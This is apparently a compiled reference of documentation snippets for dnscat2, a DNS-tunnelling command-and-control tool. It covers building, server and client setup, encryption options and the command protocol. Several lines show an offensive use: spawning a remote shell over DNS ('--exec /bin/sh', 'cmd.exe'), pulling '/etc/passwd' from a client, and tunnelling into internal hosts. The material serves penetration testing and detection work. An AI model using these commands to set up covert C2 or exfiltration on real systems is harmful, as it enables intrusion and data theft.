### Client Connection Examples

Source: https://github.com/iagox86/dnscat2/blob/master/README.md

Example commands for connecting the client with a domain or direct server address.

```bash
dnscat mydomain.com
```

```bash
dnscat --dns=server=1.2.3.4,port=53
```

--------------------------------

### Install dnscat2 Server Dependencies

Source: https://github.com/iagox86/dnscat2/blob/master/README.md

Commands to prepare the Ruby environment and install required gems.

```bash
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install
```

--------------------------------

### Install Ruby Development Headers

Source: https://github.com/iagox86/dnscat2/blob/master/README.md

Install the ruby-dev package if the mkmf file is missing during dependency installation.

```bash
$ sudo apt-get install ruby-dev
```

--------------------------------

### Get Help for 'window' Command

Source: https://github.com/iagox86/dnscat2/blob/master/README.md

Use the '--help' flag with the 'window' command to understand its usage and options.

```bash
dnscat2> window --help
```

--------------------------------

### Start dnscat2 Server

Source: https://context7.com/iagox86/dnscat2/llms.txt

Commands to initialize the Ruby server with various network and security configurations.

```bash
ruby ./dnscat2.rb skullseclabs.org

ruby ./dnscat2.rb --dns 'host=0.0.0.0,port=53531,domain=skullseclabs.org'

ruby ./dnscat2.rb --dns 'host=127.0.0.1,port=53531,domain=a.com,domain=b.com'

ruby ./dnscat2.rb --secret=mysecretpassword skullseclabs.org

ruby ./dnscat2.rb

ruby ./dnscat2.rb --passthrough 8.8.8.8:53 skullseclabs.org
```

--------------------------------

### Start dnscat2 Server

Source: https://github.com/iagox86/dnscat2/blob/master/README.md

Launch the server using the Ruby interpreter.

```bash
# ruby ./dnscat2.rb
```

--------------------------------

### Run dnscat2 Server (First Time)

Source: https://github.com/iagox86/dnscat2/blob/master/README.md

Execute the dnscat2 server for the first time after setup. Ensure you are in the correct directory and have sourced the RVM environment.

```bash
ruby ./dnscat2.rb
```

--------------------------------

### Utilize DNSer Library

Source: https://context7.com/iagox86/dnscat2/llms.txt

Examples for querying DNS servers and creating a custom DNS server using the DNSer Ruby library.

```ruby
require 'libs/dnser'

# Query a DNS server
t = DNSer.query("google.com", {
  :server  => "8.8.8.8",
  :port    => 53,
  :type    => DNSer::Packet::TYPE_A,
  :timeout => 3
}) do |response|
  puts response
end
t.join()

# Create a DNS server
dnser = DNSer.new("0.0.0.0", 53)

dnser.on_request() do |transaction|
  question = transaction.request.questions[0]
  puts "Received query for: #{question}"

  # Return an error
  transaction.error!(DNSer::Packet::RCODE_NAME_ERROR)

  # Or return a response
  # transaction.reply!([answer1, answer2])

  # Or passthrough to upstream
  # transaction.passthrough("8.8.8.8", 53)
end

# Wait for server to finish
dnser.wait()
```

--------------------------------

### Install RVM and Ruby for dnscat2 Server

Source: https://github.com/iagox86/dnscat2/blob/master/README.md

Use these commands to install RVM and a specific Ruby version required for the dnscat2 server. This is typically done once when setting up the server environment.

```bash
cd dnscat2/server
su
gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3
\curl -sSL https://get.rvm.io | bash
source /etc/profile.d/rvm.sh
rvm install 1.9
rvm use 1.9
bundle install
```

--------------------------------

### Start dnscat2 Client

Source: https://github.com/iagox86/dnscat2/blob/master/doc/blogs/dnscat2-0.05-release.html

Connects to a dnscat2 server, specifying the DNS server address and port. Ensure the server is running and accessible.

```bash
./dnscat --dns="server=localhost,port=53"
```

--------------------------------

### Start dnscat2 Server with Custom Domain

Source: https://github.com/iagox86/dnscat2/blob/master/README.md

Launch the dnscat2 server, specifying your custom authoritative domain. This is the primary method for running the server.

```bash
ruby ./dnscat2.rb skullseclabs.org
```

--------------------------------

### Build dnscat2 Client and Server

Source: https://context7.com/iagox86/dnscat2/llms.txt

Compilation and setup commands for building the dnscat2 client on various platforms and preparing the Ruby server.

```bash
# Clone and build on Linux/Unix
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make

# Build without encryption support
make nocrypto

# Build on Windows (Visual Studio 2008+)
# Open client/win32/dnscat2.vcproj and build

# Verify build was successful
./dnscat --version
# Output: dnscat2 v0.07 (client)

# Build the server (Ruby)
cd dnscat2/server/
gem install bundler
bundle install

# Verify server
ruby ./dnscat2.rb --version
# Output: dnscat2 v0.07 (server)
```

--------------------------------

### Run dnscat2 Server (Subsequent Times)

Source: https://github.com/iagox86/dnscat2/blob/master/README.md

Start the dnscat2 server on subsequent occasions. This command assumes the RVM environment has been sourced.

```bash
source /etc/profile.d/rvm.sh
ruby ./dnscat2.rb
```

--------------------------------

### Start dnscat2 Client

Source: https://github.com/iagox86/dnscat2/blob/master/README.md

When running the dnscat2 server, clients can connect using the domain name or directly via server IP and port.

```bash
./dnscat2 skullseclabs.org
```

```bash
./dnscat2 --dns server=x.x.x.x,port=53531
```

--------------------------------

### Start dnscat2 with Multiple Auto-Commands

Source: https://github.com/iagox86/dnscat2/blob/master/doc/blogs/dnscat2-0.05-release.html

Launches the dnscat2 server with several automatic commands to set up multiple listeners upon connection. This is useful for pre-configuring tunneling services.

```bash
ruby ./dnscat2.rb --dnsport=53531 --security=open --auto-attach --auto-command="listen 2222 www.javaop.com:22;listen 1234 www.google.ca:1234;listen 4444 localhost:5555" --packet-trace
```

--------------------------------

### Start dnscat2 Server with Auto-Attach and Packet Trace

Source: https://github.com/iagox86/dnscat2/blob/master/doc/blogs/dnscat2-0.05-release.html

Initiates the dnscat2 server with automatic client attachment and enables packet tracing for debugging.

```bash
ruby ./dnscat2.rb --auto-attach --packet-trace
```

--------------------------------

### dnscat2 Communication Example

Source: https://github.com/iagox86/dnscat2/blob/master/README.md

Illustrates the exchange of encoded data (pings) between the dnscat2 client and server during communication.

```text
Received:  dnscat.9fa0ff178f72686d6c716c6376697968657a6d716800 (TXT)
Sending:  9fa0ff178f72686d6c716c6376697968657a6d716800
Received:  d17cff3e747073776c776d70656b73786f646f616200.skullseclabs.org (MX)
Sending:  d17cff3e747073776c776d70656b73786f646f616200.skullseclabs.org
```

--------------------------------

### Start New dnscat2 Server Listener

Source: https://github.com/iagox86/dnscat2/blob/master/README.md

Initiate a new dnscat2 server listener from within an active server session, specifying multiple domains and a custom port. This allows for multiple concurrent listeners.

```bash
start --dns=port=53532,domain=skullseclabs.org,domain=test.com
```

--------------------------------

### Client Session Initialization

Source: https://context7.com/iagox86/dnscat2/llms.txt

Startup commands to define the session type and connectivity mode.

```bash
# Default: Command session (interactive menu-based control)
./dnscat --command skullseclabs.org

# Console session (raw stdin/stdout tunnel)
./dnscat --console skullseclabs.org

# Execute a program and tunnel its I/O
./dnscat --exec /bin/sh skullseclabs.org
./dnscat -e cmd.exe skullseclabs.org

# Ping mode (test connectivity only)
./dnscat --ping skullseclabs.org
# Output:
# Creating DNS driver:
#  domain = skullseclabs.org
#  host   = 0.0.0.0
#  port   = 53
#  type   = TXT,CNAME,MX
#  server = 8.8.8.8
# [PING SUCCESS]
```

--------------------------------

### Switch to New Client Session

Source: https://github.com/iagox86/dnscat2/blob/master/README.md

When a new client connects, a new window is created. Use 'window -i <window_id>' to interact with it.

```bash
dnscat2> window -i 1
```

--------------------------------

### Instantiate Settings

Source: https://github.com/iagox86/dnscat2/blob/master/doc/server_architecture.md

Create a new instance of the Settings class.

```ruby
settings = Settings.new()
```

--------------------------------

### Create Settings with Defaults

Source: https://github.com/iagox86/dnscat2/blob/master/doc/server_architecture.md

Define settings with specific types, default values, and documentation strings.

```ruby
settings.create('mysetting',   Settings::TYPE_STRING,  '',   "This is some documentation")
settings.create('intsetting',  Settings::TYPE_INTEGER, 123,  "This is some documentation")
settings.create('boolsetting', Settings::TYPE_BOOLEAN, true, "This is some documentation")
```

--------------------------------

### Initialize and Handle DNS Server Requests

Source: https://github.com/iagox86/dnscat2/blob/master/doc/server_architecture.md

Create a DNS server instance and define a callback to process incoming transactions.

```ruby
dnser = DNSer.new("0.0.0.0", 53)
```

```ruby
dnser.on_request() do |transaction|
  puts(transaction.questions[0] || "There was no question!")
  transaction.error!(DNSer::Packet::RCODE_NAME_ERROR)
end
```

--------------------------------

### Compile dnscat2 Client on Linux

Source: https://github.com/iagox86/dnscat2/blob/master/README.md

Commands to clone the repository and build the client using make.

```bash
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make
```

--------------------------------

### Generate ECDH Keypair in Ruby

Source: https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md

Generates a private and public key pair using the ECDSA library for the NIST P-256 curve. Ensure the ECDSA gem is installed.

```ruby
require 'ecdsa'
require 'securerandom'

my_private_key = 1 + SecureRandom.random_number(ECDSA::Group::Nistp256.order - 1)
my_public_key  = ECDSA::Group::Nistp256.generator.multiply_by_scalar(my_private_key)
```

--------------------------------

### Display dnscat2 Help

Source: https://github.com/iagox86/dnscat2/blob/master/README.md

Type 'help' in any command-accepting window to view available commands. Use '-h' on any command for specific help.

```bash
dnscat2> help
```

--------------------------------

### Configure Encryption and Security

Source: https://context7.com/iagox86/dnscat2/llms.txt

Command-line arguments for managing encryption, authentication, and key derivation in dnscat2.

```bash
# Server: Require encryption (default with --secret)
ruby ./dnscat2.rb --security=authenticated --secret=mypassword skullseclabs.org

# Server: Allow unencrypted connections
ruby ./dnscat2.rb --security=open skullseclabs.org

# Client: Connect with pre-shared secret
./dnscat --secret=mypassword skullseclabs.org

# Client: Disable encryption entirely
./dnscat --no-encryption skullseclabs.org

# Short Authentication String (displayed when no secret used):
# Both client and server display 6 words derived from the shared secret
# User should verify they match to confirm no MITM attack
# Example output:
# Session established! Verify SAS: rabbit orange castle mountain river sunset

# Key derivation (internal):
# shared_secret = ECDH("P-256", their_public_key, my_private_key)
# client_write = SHA3-256(shared_secret || "client_write_key")
# client_mac   = SHA3-256(shared_secret || "client_mac_key")
# server_write = SHA3-256(shared_secret || "server_write_key")
# server_mac   = SHA3-256(shared_secret || "server_mac_key")
```

--------------------------------

### Debug and Troubleshoot Connections

Source: https://context7.com/iagox86/dnscat2/llms.txt

Command-line flags for enabling verbose logging, packet tracing, and testing DNS configurations.

```bash
# Client: Enable verbose debugging
./dnscat -d -d -d skullseclabs.org

# Client: Enable packet tracing
./dnscat --packet-trace skullseclabs.org

# Client: Reduce debug output
./dnscat -q skullseclabs.org

# Server: Enable packet tracing
ruby ./dnscat2.rb --packet-trace skullseclabs.org

# Server: Firehose mode (all output to stdout)
ruby ./dnscat2.rb --firehose skullseclabs.org

# Server: Debug encryption issues (creates crypto-debug window)
ruby ./dnscat2.rb --packet-trace --firehose skullseclabs.org

# Test DNS configuration with included tool
ruby tools/dnstest.rb skullseclabs.org

# Common issues:
# - "RCODE_NAME_ERROR" = DNS not reaching your server
# - Server not receiving connections = Check authoritative DNS setup
```

--------------------------------

### Connect to Server Directly

Source: https://github.com/iagox86/dnscat2/blob/master/README.md

Command to connect to the server without using a domain name.

```bash
./dnscat2 --dns server=x.x.x.x,port=53
```

--------------------------------

### Create Buffer with Initial Data

Source: https://github.com/iagox86/dnscat2/blob/master/doc/client_architecture.md

Initializes a buffer with existing data, making a copy. This is useful for processing received data without modifying the original source.

```c
buffer_t *buffer = buffer_create_with_data(BO_BIG_ENDIAN, data, length);
```

--------------------------------

### Required Driver Implementation Methods

Source: https://github.com/iagox86/dnscat2/blob/master/doc/adding_a_driver.md

These function signatures must be implemented in the new driver's .c and .h files to handle lifecycle and data transmission.

```c
driver_XXX_t *driver_XXX_create(select_group_t *group);
void driver_XXX_destroy(driver_XXX_t *driver);
void driver_XXX_data_received(driver_XXX_t *driver, uint8_t *data, size_t length);
uint8_t *driver_XXX_get_outgoing(driver_XXX_t *driver, size_t *length, size_t max_length);
void driver_XXX_close(driver_XXX_t *driver);
```

--------------------------------

### Create Source Distribution

Source: https://github.com/iagox86/dnscat2/blob/master/doc/how_to_do_a_release.md

Command to package the dnscat2 source code into a tarball for distribution.

```bash
make source_release
```

--------------------------------

### List dnscat2 Windows

Source: https://github.com/iagox86/dnscat2/blob/master/README.md

Use the 'windows' command to see a list of all active windows and sessions. The '*' indicates activity.

```bash
dnscat2> windows
```

--------------------------------

### Run dnscat2 client

Source: https://github.com/iagox86/dnscat2/blob/master/README.md

Execute the client to establish a C&C session using a domain or a direct IP address.

```bash
./dnscat2 skullseclabs.org
```

```bash
./dnscat2 --dns host=206.220.196.59,port=5353
```

--------------------------------

### Interact with a Specific Window

Source: https://github.com/iagox86/dnscat2/blob/master/README.md

Use the 'window -i <window_name>' command to switch to and interact with a specific window, such as the 'dns1' listener.

```bash
dnscat2> window -i dns1
```

--------------------------------

### COMMAND_SHELL

Source: https://github.com/iagox86/dnscat2/blob/master/doc/command_protocol.md

Requests the client to spawn a shell session.

```APIDOC
## COMMAND_SHELL

### Description
Ask a dnscat2 client to spawn a shell. The shell will be connected back to the dnscat2 server.

### Parameters
#### Request Body
- **name** (ntstring) - Required - The name of the shell session.

### Response
#### Success Response (200)
- **session_id** (uint16_t) - The ID of the newly created session.
```

--------------------------------

### Run dnscat2 server with debug logging

Source: https://github.com/iagox86/dnscat2/blob/master/doc/how_to_bug_report.md

Enables debug mode, packet tracing, and firehose logging for the server. Use --security=open to disable encryption for troubleshooting.

```bash
# ruby -d dnscat2.rb --packet-trace --firehose --security=open [other options]
```

```bash
# ruby -d dnscat2.rb --packet-trace --firehose --security=open [other options] 2>&1 | tee server-logfile.txt
```

--------------------------------

### Manage Server Sessions

Source: https://context7.com/iagox86/dnscat2/llms.txt

Commands for interacting with the server's multi-window interface to manage client sessions.

```ruby
dnscat2> windows

dnscat2> window -i 1

dnscat2> window --help

command session (ubuntu-64) 1> suspend

dnscat2> kill 2

dnscat2> start --dns=port=53532,domain=test.com
```

--------------------------------

### Spawn a Shell Session

Source: https://github.com/iagox86/dnscat2/blob/master/README.md

From a command session, use the 'shell' command to spawn a new shell session on the client machine.

```bash
command session (ubuntu-64) 1> shell
```

--------------------------------

### Connect dnscat2 Client

Source: https://context7.com/iagox86/dnscat2/llms.txt

Methods for establishing client connections to the server, including direct UDP and DNS hierarchy traversal.

```bash
./dnscat skullseclabs.org

./dnscat --dns host=206.220.196.59,port=53

./dnscat --dns domain=skullseclabs.org,server=8.8.8.8,port=53

./dnscat --dns domain=skullseclabs.org,port=53,type=TXT,CNAME,MX

./dnscat --secret=mysecretpassword skullseclabs.org

./dnscat --no-encryption skullseclabs.org

./dnscat --ping skullseclabs.org

./dnscat --delay 500 skullseclabs.org

./dnscat --retransmit-forever skullseclabs.org

export DNSCAT_DOMAIN=skullseclabs.org
export DNSCAT_SECRET=mysecretpassword
./dnscat
```

--------------------------------

### Run dnscat2 client with debug logging

Source: https://github.com/iagox86/dnscat2/blob/master/doc/how_to_bug_report.md

Compiles a debug build and runs the client with packet tracing and encryption disabled.

```bash
$ make clean debug
$ ./dnscat -d --packet-trace --no-encryption [other options]
```

```bash
$ ./dnscat -d --packet-trace --no-encryption [other options] 2>&1 | tee client-logfile.txt
```

--------------------------------

### Session Creation Function Signature

Source: https://github.com/iagox86/dnscat2/blob/master/doc/adding_a_driver.md

This function must be added to controller/session.c and session.h to enable session instantiation for the new driver.

```c
session_t *session_create_XXX(select_group_t *group, char *name)
```

--------------------------------

### Server Configuration Settings

Source: https://context7.com/iagox86/dnscat2/llms.txt

Runtime configuration options for the dnscat2 server, including security policies and debugging.

```ruby
# View current settings
dnscat2> set
# Shows all configurable options

# Enable packet tracing for debugging
dnscat2> set packet_trace=true

# Configure upstream DNS passthrough
dnscat2> set passthrough=8.8.8.8:53

# Disable passthrough
dnscat2> set passthrough=

# Auto-attach to new sessions
dnscat2> set auto_attach=true

# Set automatic command for new sessions
dnscat2> set auto_command=shell

# Change security level
dnscat2> set security=open           # Client chooses
dnscat2> set security=encrypted      # Require encryption
dnscat2> set security=authenticated  # Require encryption + auth

# Change pre-shared secret
dnscat2> set secret=newpassword

# Adjust history size for new windows
dnscat2> set history_size=2000
```

--------------------------------

### COMMAND_DOWNLOAD

Source: https://github.com/iagox86/dnscat2/blob/master/doc/command_protocol.md

Requests the client to download a file.

```APIDOC
## COMMAND_DOWNLOAD

### Description
Ask a dnscat2 client to send the requested file.

### Parameters
#### Request Body
- **filename** (ntstring) - Required - The path/name of the file to download.

### Response
#### Success Response (200)
- **data** (variable) - The contents of the requested file.
```

--------------------------------

### Configure dnscat2 tunnels

Source: https://github.com/iagox86/dnscat2/blob/master/README.md

Use the listen command within a session to forward traffic through the dnscat2 tunnel.

```text
listen [lhost:]lport rhost:rport
```

```text
listen 4444 www.google.com:80
```

```text
listen 127.0.0.1:2222 10.10.10.10:22
```

--------------------------------

### COMMAND_UPLOAD

Source: https://github.com/iagox86/dnscat2/blob/master/doc/command_protocol.md

Uploads a file from the server to the client.

```APIDOC
## COMMAND_UPLOAD

### Description
Sends a file to the remote host. The filename can be fully qualified or relative to the client's location.

### Request Body
- **filename** (ntstring) - Required - Fully qualified filename
- **data** (variable) - Required - File content

### Response
- Success: Blank response
- Failure: COMMAND_ERROR
```

--------------------------------

### Verify dnscat2 Client Execution

Source: https://github.com/iagox86/dnscat2/blob/master/README.md

Run the client without flags to verify successful compilation.

```bash
$ ./dnscat
```

--------------------------------

### Create Signed Git Tag

Source: https://github.com/iagox86/dnscat2/blob/master/doc/how_to_do_a_release.md

Command to create a signed Git tag with a specific version number and a descriptive message.

```bash
git tag -s "v0.02" -m "Beta release 2"
```

--------------------------------

### COMMAND_EXEC

Source: https://github.com/iagox86/dnscat2/blob/master/doc/command_protocol.md

Requests the client to execute a specific command.

```APIDOC
## COMMAND_EXEC

### Description
Ask a dnscat2 client to run the given command and bind the input to a new session.

### Parameters
#### Request Body
- **name** (ntstring) - Required - The name of the execution session.
- **command** (ntstring) - Required - The command to execute.

### Response
#### Success Response (200)
- **session_id** (uint16_t) - The ID of the session bound to the command.
```

--------------------------------

### Forward SSH Connection via dnscat2

Source: https://github.com/iagox86/dnscat2/blob/master/doc/blogs/dnscat2-0.05-release.html

Sets up a dnscat2 listener to forward connections to an internal SSH server. After setting this up on the server, connect using SSH on the specified local port.

```bash
command (ankh) 1> listen 127.0.0.1:2222 192.168.1.100:22
```

--------------------------------

### Define Change Callback

Source: https://github.com/iagox86/dnscat2/blob/master/doc/server_architecture.md

Attach a block to a setting to execute logic when the value changes.

```ruby
settings.create('mysetting',   Settings::TYPE_STRING,  '',   "This is some documentation") do |oldval, newval|
  puts("Changing mysetting from '#{oldval}' to '#{newval}'")
end
```

--------------------------------

### Perform DNS Queries with DNSer

Source: https://github.com/iagox86/dnscat2/blob/master/doc/server_architecture.md

Execute asynchronous DNS lookups. The query runs in a separate thread, allowing the main program to continue or wait for completion.

```ruby
DNSer.query("google.com") do |response|
  puts(response)
end
```

```ruby
t = DNSer.query("google.com") do |response|
  puts(response)
end
t.join()
```

--------------------------------

### Verify SHA3-256 Implementation

Source: https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md

Use this Ruby code to verify that your SHA3-256 implementation generates the correct hash for an empty string. This ensures cryptographic integrity.

```ruby
require 'sha3'
SHA3::Digest.new(256).hexdigest('')
```

--------------------------------

### Create String from Buffer and Destroy

Source: https://github.com/iagox86/dnscat2/blob/master/doc/client_architecture.md

Converts a buffer into a null-terminated string and frees the buffer in one operation. Useful for finalizing data before sending.

```c
size_t length;
uint8_t *out = buffer_create_string_and_destroy(buffer, &length);
```

--------------------------------

### Execute Command in Shell Session

Source: https://github.com/iagox86/dnscat2/blob/master/README.md

Once in a shell session, you can execute commands like 'pwd' to interact with the client's filesystem.

```bash
sh (ubuntu-64) 2> pwd
```

--------------------------------

### TUNNEL_CONNECT

Source: https://github.com/iagox86/dnscat2/blob/master/doc/command_protocol.md

Initiates a network tunnel connection.

```APIDOC
## TUNNEL_CONNECT

### Description
Asks the client to connect to a specific host and port.

### Request Body
- **options** (uint32_t) - Required - Connection options
- **host** (ntstring) - Required - Target host
- **port** (uint16_t) - Required - Target port

### Response
- **tunnel_id** (uint32_t) - Success - ID for the new tunnel
```

--------------------------------

### Generate core dump for segmentation faults

Source: https://github.com/iagox86/dnscat2/blob/master/doc/how_to_bug_report.md

Configures the environment to generate a core file upon crash for debugging.

```bash
$ ulimit -c unlimited
$ make clean debug
$ ./dnscat2 [options]
```

--------------------------------

### Calculate short-authentication string

Source: https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md

Derives a 6-byte hash from the shared secret and public keys for visual verification.

```text
sas = SHA3-256("authstring" || shared_secret || public_key_client || public_key_server)[0,6]
```

--------------------------------

### Compile dnscat2 Release Version

Source: https://github.com/iagox86/dnscat2/blob/master/doc/how_to_do_a_release.md

Command to compile the dnscat2 project in release mode, which enables optimizations and disables debug flags.

```bash
make release
```

--------------------------------

### Compute peer authentication strings

Source: https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md

Generates authentication strings for client and server using SHA3-256 and the pre-shared secret.

```text
client_authenticator = SHA3-256("client" || shared_secret || pubkey_client || pubkey_server || preshared_secret)
server_authenticator = SHA3-256("server" || shared_secret || pubkey_client || pubkey_server || preshared_secret)
```

--------------------------------

### Generate ECDH Keypair in C

Source: https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md

Generates a public and private key pair using the micro-ecc library for the secp256r1 curve. Ensure micro-ecc is correctly included.

```c
#include "libs/crypto/micro-ecc/uECC.h"
uECC_make_key(their_public_key, my_private_key, uECC_secp256r1())
```

--------------------------------

### Import ECDH Public Key in Ruby

Source: https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md

Imports an existing public key into an ECDSA::Point object. The X and Y coordinates must be Bignum values.

```ruby
their_public_key = ECDSA::Point.new(ECDSA::Group::Nistp256, their_public_key_x, their_public_key_y)
```

--------------------------------

### Create a Big Endian Buffer

Source: https://github.com/iagox86/dnscat2/blob/master/doc/client_architecture.md

Initializes a buffer with big-endian byte order for data serialization. Use this when the order of bytes matters for network protocols or file formats.

```c
buffer_t *buffer = buffer_create(BO_BIG_ENDIAN);
```

--------------------------------

### Define Command Protocol Constants

Source: https://context7.com/iagox86/dnscat2/llms.txt

C header-style definitions for command IDs and tunnel operations used in the dnscat2 protocol.

```c
// Command IDs
#define COMMAND_PING     (0x0000)  // Echo test
#define COMMAND_SHELL    (0x0001)  // Spawn shell
#define COMMAND_EXEC     (0x0002)  // Execute command
#define COMMAND_DOWNLOAD (0x0003)  // Download file
#define COMMAND_UPLOAD   (0x0004)  // Upload file
#define COMMAND_SHUTDOWN (0x0005)  // Terminate client
#define COMMAND_DELAY    (0x0006)  // Change polling delay
#define COMMAND_ERROR    (0xFFFF)  // Error response

// Tunnel commands
#define TUNNEL_CONNECT   (0x1000)  // Initiate TCP tunnel
#define TUNNEL_DATA      (0x1001)  // Tunnel data transfer
#define TUNNEL_CLOSE     (0x1002)  // Close tunnel

// Command packet structure:
// - uint32_t length
// - uint16_t packed_id (1-bit is_response + 15-bit request_id)
// - uint16_t command_id
// - variable command_fields
```

--------------------------------

### Debug segmentation faults with GDB

Source: https://github.com/iagox86/dnscat2/blob/master/doc/how_to_bug_report.md

Runs the client under GDB to capture backtrace and register information upon crash.

```bash
$ make clean debug
$ gdb --args ./dnscat2 [options]
```

```gdb
(gdb) bt
[...]
(gdb) info reg
[...]
```

--------------------------------

### TCP Tunneling and Port Forwarding

Source: https://context7.com/iagox86/dnscat2/llms.txt

Commands to establish SSH-style port forwarding through the DNS channel.

```ruby
# Basic tunnel syntax: listen [lhost:]lport rhost:rport

# Forward local port 4444 to remote web server
command session (ubuntu-64) 1> listen 4444 www.google.com:80
# Now http://localhost:4444 tunnels through client to google.com

# Forward SSH through the tunnel to internal host
command session (ubuntu-64) 1> listen 127.0.0.1:2222 10.10.10.10:22
# Now: ssh -p 2222 user@localhost connects to 10.10.10.10:22 via the client

# Forward to internal database
command session (ubuntu-64) 1> listen 3307 192.168.1.100:3306
# MySQL client can now connect to localhost:3307

# List active tunnels
command session (ubuntu-64) 1> tunnels
```

--------------------------------

### Ping dnscat2 Server with Custom DNS Settings

Source: https://github.com/iagox86/dnscat2/blob/master/README.md

Use this command to ping the dnscat2 server when it's running on a non-standard port or requires a specific DNS resolver. Ensure the domain is included in the --dns argument.

```bash
./dnscat --dns server=8.8.8.8,domain=skullseclabs.org --ping
```

```bash
./dnscat --dns port=53531,server=localhost,domain=skullseclabs.org --ping
```

--------------------------------

### Connect to a Tunneled Service

Source: https://github.com/iagox86/dnscat2/blob/master/doc/blogs/dnscat2-0.05-release.html

Uses netcat to connect to a port opened by dnscat2, demonstrating how to access a tunneled service. Ensure the dnscat2 server is listening on the specified port.

```bash
echo -ne 'HEAD / HTTP/1.0\r\n\r\n' | nc -vv localhost 8080
```

--------------------------------

### Push Git Tag

Source: https://github.com/iagox86/dnscat2/blob/master/doc/how_to_do_a_release.md

Command to push a specific Git tag to the remote repository.

```bash
git push origin v0.02
```

--------------------------------

### Allocate and Read Null-Terminated String from Buffer

Source: https://github.com/iagox86/dnscat2/blob/master/doc/client_architecture.md

Reads a null-terminated string from the buffer and automatically allocates memory for it. Remember to free the allocated string using safe_free.

```c
char *str = buffer_alloc_next_ntstring(buffer);
[...] 
safe_free(str);
```

--------------------------------

### dnscat2 Option Constants

Source: https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md

C preprocessor directives defining constants for options that can be included in dnscat2 messages, such as NAME and COMMAND.

```c
#define OPT_NAME            (0x01)
#define OPT_COMMAND         (0x20)
```

--------------------------------

### Client Session Management Commands

Source: https://context7.com/iagox86/dnscat2/llms.txt

Commands executed within an active dnscat2 session to manage files, connectivity, and check-in frequency.

```text
command session (ubuntu-64) 1> download /etc/passwd
command session (ubuntu-64) 1> upload /local/path/file.txt /remote/path/file.txt
command session (ubuntu-64) 1> ping
command session (ubuntu-64) 1> delay 5000
```

--------------------------------

### Interact with a Shell Session

Source: https://github.com/iagox86/dnscat2/blob/master/README.md

Use 'session -i <session_id>' to interact with a specific session, like a shell session. Commands typed are sent directly to the client.

```bash
dnscat2> session -i 2
```

--------------------------------

### Listen on a Port and Forward Traffic

Source: https://github.com/iagox86/dnscat2/blob/master/doc/blogs/dnscat2-0.05-release.html

Configures the dnscat2 server to listen on a local port and forward incoming connections to a specified host and port. This is useful for tunneling services.

```bash
dnscat2> listen 8080 www.google.com:80
```